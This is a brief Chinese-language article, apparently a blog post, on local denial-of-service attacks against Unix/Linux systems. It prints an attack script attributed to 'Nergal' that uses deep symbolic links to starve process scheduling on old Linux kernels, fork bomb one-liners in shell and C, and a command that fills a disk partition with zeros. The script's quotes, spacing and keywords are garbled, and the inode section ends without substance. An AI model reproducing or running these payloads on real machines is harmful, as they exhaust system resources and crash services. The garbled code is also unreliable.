本地DoS攻击

 

DoS可通过本地和远程进行攻击。攻击一般通过降低进程和存储能力,破坏文件以让资源不可用以及关闭系统或进程的某一部分等方式。其中本地攻击的方式通常有三种:process degradation, disp space exhaustionindex node(inode) exhaustion

1Process Degradation

攻击者启动许多进程耗掉主机资源,产生许多进程填充系统进程表或让CPU过载。例如在Linux内核2.4.12以前,创建一个deep symbolic links便可阻止进程调度,从而让其它进程获取不到CPU时间,下面是mklink.sh脚本源代码:

 1 # !/ bin / sh
 2
 3 # by Nergal
 4
 5 mklink()
 6
 7 {
 8
 9IND=$1
10
11NXT=$(($IND+1))
12
13EL=l$NXT/../
14
15P=””
16
17I=0
18
19While[$I –lt $ELNUM ] ; do
20
21   P=$P”$EL”
22
23   I=$(($I+1))
24
25done
26
27ln –s “$P”l$2 l$IND
28
29}

30
31 #main program
32
33 if  [ $#  !=   1  ] ; then
34
35    echo A numerical argument  is  required.
36
37    Exit  0
38
39 Fi
40
41 ELNUM = $ 1
42
43 mklink  4
44
45 mklink  3
46
47 mklink  2
48
49 mklink  1
50
51 mklink  0   / .. / .. / .. / .. / .. / .. / etc / services
52
53 mklink l5
54
55 mklink l
56
57

另一种本地DoS的方式是fork bomb,它对很多系统都存在,可以用很简单的shellC实现,如

($0 & $0 &)   //shell实现

(main(){for(;;)fork();})    //C实现

2Disk Space Exhaustion

该类型攻击包括阻止创建新文件,已存在的文件不能增长等。一些UNIX操作系统当根分区达到存储限制时便会崩溃,所以很多管理员都会为日志而建立一个新分区如/var,为用户建立一个独立的分区如/home等。如果没有这样建立,那可能就会被hacker利用,它们通过syslog产生许多日志以填充分区。

这样的攻击很容易,一个本地用户可以通过如下一条简单命令便把0填充到maliciousfile文件中,直到用户终止或分区被填充满。

cat /dev/zero > ~/maliciousfile

这类的攻击也可以通过mail bombing实施,不过mail很容易通过SMTP头进行跟踪。

3Inode耗尽

这类攻击一般是对于特定的文件系统,特别是 UNIX 文件系统。它通过耗尽所有可用的 inode 而发生。

你可能感兴趣的:(dos)